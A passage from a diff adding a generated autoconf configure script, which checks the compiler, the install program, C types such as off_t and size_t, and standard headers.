*, int), int, int); +int argc; +char **argv; +int +main () +{ +return f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]; + ; + return 0; +} +_ACEOF +for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std \ + -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_prog_cc_c89=$ac_arg +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext + test "x$ac_cv_prog_cc_c89" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC + +fi +# AC_CACHE_VAL +case "x$ac_cv_prog_cc_c89" in + x) + { echo "$as_me:$LINENO: result: none needed" >&5 +echo "${ECHO_T}none needed" >&6; } ;; + xno) + { echo "$as_me:$LINENO: result: unsupported" >&5 +echo "${ECHO_T}unsupported" >&6; } ;; + *) + CC="$CC $ac_cv_prog_cc_c89" + { echo "$as_me:$LINENO: result: $ac_cv_prog_cc_c89" >&5 +echo "${ECHO_T}$ac_cv_prog_cc_c89" >&6; } ;; +esac + + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +# Find a good install program. We prefer a C program (faster), +# so one script is as good as another. But avoid the broken or +# incompatible versions: +# SysV /etc/install, /usr/sbin/install +# SunOS /usr/etc/install +# IRIX /sbin/install +# AIX /bin/install +# AmigaOS /C/install, which installs bootblocks on floppy discs +# AIX 4 /usr/bin/installbsd, which doesn't work without a -g flag +# AFS /usr/afsws/bin/install, which mishandles nonexistent args +# SVR4 /usr/ucb/install, which tries to use the nonexistent group "staff" +# OS/2's system install, which has a completely different semantic +# ./install, which can be erroneously created by make from ./install.sh. +{ echo "$as_me:$LINENO: checking for a BSD-compatible install" >&5 +echo $ECHO_N "checking for a BSD-compatible install... $ECHO_C" >&6; } +if test -z "$INSTALL"; then +if test "${ac_cv_path_install+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + # Account for people who put trailing slashes in PATH elements. +case $as_dir/ in + ./ | .// | /cC/* | \ + /etc/* | /usr/sbin/* | /usr/etc/* | /sbin/* | /usr/afsws/bin/* | \ + ?:\\/os2\\/install\\/* | ?:\\/OS2\\/INSTALL\\/* | \ + /usr/ucb/* ) ;; + *) + # OSF1 and SCO ODT 3.0 have their own names for install. + # Don't use installbsd from OSF since it installs stuff as root + # by default. + for ac_prog in ginstall scoinst install; do + for ac_exec_ext in '' $ac_executable_extensions; do + if { test -f "$as_dir/$ac_prog$ac_exec_ext" && $as_executable_p "$as_dir/$ac_prog$ac_exec_ext"; }; then + if test $ac_prog = install && + grep dspmsg "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # AIX install. It has an incompatible calling convention. + : + elif test $ac_prog = install && + grep pwplus "$as_dir/$ac_prog$ac_exec_ext" >/dev/null 2>&1; then + # program-specific install script used by HP pwplus--don't use. + : + else + ac_cv_path_install="$as_dir/$ac_prog$ac_exec_ext -c" + break 3 + fi + fi + done + done + ;; +esac +done +IFS=$as_save_IFS + + +fi + if test "${ac_cv_path_install+set}" = set; then + INSTALL=$ac_cv_path_install + else + # As a last resort, use the slow shell script. Don't cache a + # value for INSTALL within a source directory, because that will + # break other packages using the cache if that directory is + # removed, or if the value is a relative name. + INSTALL=$ac_install_sh + fi +fi +{ echo "$as_me:$LINENO: result: $INSTALL" >&5 +echo "${ECHO_T}$INSTALL" >&6; } + +# Use test -z because SunOS4 sh mishandles braces in ${var-val}. +# It thinks the first close brace ends the variable substitution. +test -z "$INSTALL_PROGRAM" && INSTALL_PROGRAM='${INSTALL}' + +test -z "$INSTALL_SCRIPT" && INSTALL_SCRIPT='${INSTALL}' + +test -z "$INSTALL_DATA" && INSTALL_DATA='${INSTALL} -m 644' + +{ echo "$as_me:$LINENO: checking whether ln -s works" >&5 +echo $ECHO_N "checking whether ln -s works... $ECHO_C" >&6; } +LN_S=$as_ln_s +if test "$LN_S" = "ln -s"; then + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +else + { echo "$as_me:$LINENO: result: no, using $LN_S" >&5 +echo "${ECHO_T}no, using $LN_S" >&6; } +fi + + +{ echo "$as_me:$LINENO: checking for an ANSI C-conforming const" >&5 +echo $ECHO_N "checking for an ANSI C-conforming const... $ECHO_C" >&6; } +if test "${ac_cv_c_const+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ +/* FIXME: Include the comments suggested by Paul. */ +#ifndef __cplusplus + /* Ultrix mips cc rejects this. */ + typedef int charset[2]; + const charset x; + /* SunOS 4.1.1 cc rejects this. */ + char const *const *ccp; + char **p; + /* NEC SVR4.0.2 mips cc rejects this. */ + struct point {int x, y;}; + static struct point const zero = {0,0}; + /* AIX XL C 1.02.0.0 rejects this. + It does not let you subtract one const X* pointer from another in + an arm of an if-expression whose if-part is not a constant + expression */ + const char *g = "string"; + ccp = &g + (g ? g-g : 0); + /* HPUX 7.0 cc rejects these. */ + ++ccp; + p = (char**) ccp; + ccp = (char const *const *) p; + { /* SCO 3.2v4 cc rejects this. */ + char *t; + char const *s = 0 ? (char *) 0 : (char const *) 0; + + *t++ = 0; + if (s) return 0; + } + { /* Someone thinks the Sun supposedly-ANSI compiler will reject this. */ + int x[] = {25, 17}; + const int *foo = &x[0]; + ++foo; + } + { /* Sun SC1.0 ANSI compiler rejects this -- but not the above. */ + typedef const int *iptr; + iptr p = 0; + ++p; + } + { /* AIX XL C 1.02.0.0 rejects this saying + "k.c", line 2.27: 1506-025 (S) Operand must be a modifiable lvalue. */ + struct s { int j; const int *ap[3]; }; + struct s *b; b->j = 5; + } + { /* ULTRIX-32 V3.1 (Rev 9) vcc rejects this */ + const int foo = 10; + if (!foo) return 0; + } + return !x[0] && !zero.x; +#endif + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_c_const=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_c_const=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_const" >&5 +echo "${ECHO_T}$ac_cv_c_const" >&6; } +if test $ac_cv_c_const = no; then + +cat >>confdefs.h <<\_ACEOF +#define const +_ACEOF + +fi + +{ echo "$as_me:$LINENO: checking for uid_t in sys/types.h" >&5 +echo $ECHO_N "checking for uid_t in sys/types.h... $ECHO_C" >&6; } +if test "${ac_cv_type_uid_t+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "uid_t" >/dev/null 2>&1; then + ac_cv_type_uid_t=yes +else + ac_cv_type_uid_t=no +fi +rm -f conftest* + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_type_uid_t" >&5 +echo "${ECHO_T}$ac_cv_type_uid_t" >&6; } +if test $ac_cv_type_uid_t = no; then + +cat >>confdefs.h <<\_ACEOF +#define uid_t int +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define gid_t int +_ACEOF + +fi + +{ echo "$as_me:$LINENO: checking for off_t" >&5 +echo $ECHO_N "checking for off_t... $ECHO_C" >&6; } +if test "${ac_cv_type_off_t+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +typedef off_t ac__type_new_; +int +main () +{ +if ((ac__type_new_ *) 0) + return 0; +if (sizeof (ac__type_new_)) + return 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_type_off_t=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_type_off_t=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_type_off_t" >&5 +echo "${ECHO_T}$ac_cv_type_off_t" >&6; } +if test $ac_cv_type_off_t = yes; then + : +else + +cat >>confdefs.h <<_ACEOF +#define off_t long int +_ACEOF + +fi + +{ echo "$as_me:$LINENO: checking for inline" >&5 +echo $ECHO_N "checking for inline... $ECHO_C" >&6; } +if test "${ac_cv_c_inline+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_cv_c_inline=no +for ac_kw in inline __inline__ __inline; do + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#ifndef __cplusplus +typedef int foo_t; +static $ac_kw foo_t static_foo () {return 0; } +$ac_kw foo_t foo () {return 0; } +#endif + +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_c_inline=$ac_kw +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + test "$ac_cv_c_inline" != no && break +done + +fi +{ echo "$as_me:$LINENO: result: $ac_cv_c_inline" >&5 +echo "${ECHO_T}$ac_cv_c_inline" >&6; } + + +case $ac_cv_c_inline in + inline | yes) ;; + *) + case $ac_cv_c_inline in + no) ac_val=;; + *) ac_val=$ac_cv_c_inline;; + esac + cat >>confdefs.h <<_ACEOF +#ifndef __cplusplus +#define inline $ac_val +#endif +_ACEOF + ;; +esac + +{ echo "$as_me:$LINENO: checking for pid_t" >&5 +echo $ECHO_N "checking for pid_t... $ECHO_C" >&6; } +if test "${ac_cv_type_pid_t+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +typedef pid_t ac__type_new_; +int +main () +{ +if ((ac__type_new_ *) 0) + return 0; +if (sizeof (ac__type_new_)) + return 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_type_pid_t=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_type_pid_t=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_type_pid_t" >&5 +echo "${ECHO_T}$ac_cv_type_pid_t" >&6; } +if test $ac_cv_type_pid_t = yes; then + : +else + +cat >>confdefs.h <<_ACEOF +#define pid_t int +_ACEOF + +fi + +{ echo "$as_me:$LINENO: checking for size_t" >&5 +echo $ECHO_N "checking for size_t... $ECHO_C" >&6; } +if test "${ac_cv_type_size_t+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +typedef size_t ac__type_new_; +int +main () +{ +if ((ac__type_new_ *) 0) + return 0; +if (sizeof (ac__type_new_)) + return 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_type_size_t=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_type_size_t=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_type_size_t" >&5 +echo "${ECHO_T}$ac_cv_type_size_t" >&6; } +if test $ac_cv_type_size_t = yes; then + : +else + +cat >>confdefs.h <<_ACEOF +#define size_t unsigned int +_ACEOF + +fi + + +{ echo "$as_me:$LINENO: checking for ANSI C header files" >&5 +echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6; } +if test "${ac_cv_header_stdc+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#include +#include + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_header_stdc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_header_stdc=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext + +if test $ac_cv_header_stdc = yes; then + # SunOS 4.x string.h does not declare mem*, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "memchr" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include + +_ACEOF +if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | + $EGREP "free" >/dev/null 2>&1; then + : +else + ac_cv_header_stdc=no +fi +rm -f conftest* + +fi + +if test $ac_cv_header_stdc = yes; then + # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. + if test "$cross_compiling" = yes; then + : +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#if ((' ' & 0x0FF) == 0x020) +# define ISLOWER(c) ('a' <= (c) && (c) <= 'z') +# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) +#else +# define ISLOWER(c) \ + (('a' <= (c) && (c) <= 'i') \ + || ('j' <= (c) && (c) <= 'r') \ + || ('s' <= (c) && (c) <= 'z')) +# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) +#endif + +#define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) +int +main () +{ + int i; + for (i = 0; i < 256; i++) + if (XOR (islower (i), ISLOWER (i)) + || toupper (i) != TOUPPER (i)) + return 2; + return 0; +} +_ACEOF +rm -f conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && { ac_try='./conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + : +else + echo "$as_me: program exited with status $ac_status" >&5 +echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +( exit $ac_status ) +ac_cv_header_stdc=no +fi +rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext +fi + + +fi +fi +{ echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 +echo "${ECHO_T}$ac_cv_header_stdc" >&6; } +if test $ac_cv_header_stdc = yes; then + +cat >>confdefs.h <<\_ACEOF +#define STDC_HEADERS 1 +_ACEOF + +fi + +{ echo "$as_me:$LINENO: checking for sys/wait.h that is POSIX.1 compatible" >&5 +echo $ECHO_N "checking for sys/wait.h that is POSIX.1 compatible... $ECHO_C" >&6; } +if test "${ac_cv_header_sys_wait_h+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include +#ifndef WEXITSTATUS +# define WEXITSTATUS(stat_val) ((unsigned int) (stat_val) >> 8) +#endif +#ifndef WIFEXITED +# define WIFEXITED(stat_val) (((stat_val) & 255) == 0) +#endif + +int +main () +{ + int s; + wait (&s); + s = WIFEXITED (s) ? WEXITSTATUS (s) : 1; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_header_sys_wait_h=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_header_sys_wait_h=no +fi + +rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext +fi +{ echo "$as_me:$LINENO: result: $ac_cv_header_sys_wait_h" >&5 +echo "${ECHO_T}$ac_cv_header_sys_wait_h" >&6; } +if test $ac_cv_header_sys_wait_h = yes; then + +cat >>confdefs.h <<\_ACEOF +#define HAVE_SYS_WAIT_H 1 +_ACEOF + +fi + + + + + + +ac_header_dirent=no +for ac_hdr in dirent.h sys/ndir.h sys/dir.h ndir.h; do + as_ac_Header=`echo "ac_cv_header_dirent_$ac_hdr" | $as_tr_sh` +{ echo "$as_me:$LINENO: checking for $ac_hdr that defines DIR" >&5 +echo $ECHO_N "checking for $ac_hdr that defines DIR... $ECHO_C" >&6; } +if { as_var=$as_ac_Header; eval "test \"\${$as_var+set}\" = set"; }; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include +#include <$ac_hdr> + +int +main () +{ +if ((DIR *) 0) +return 0; + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext +if { (ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_compile") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval 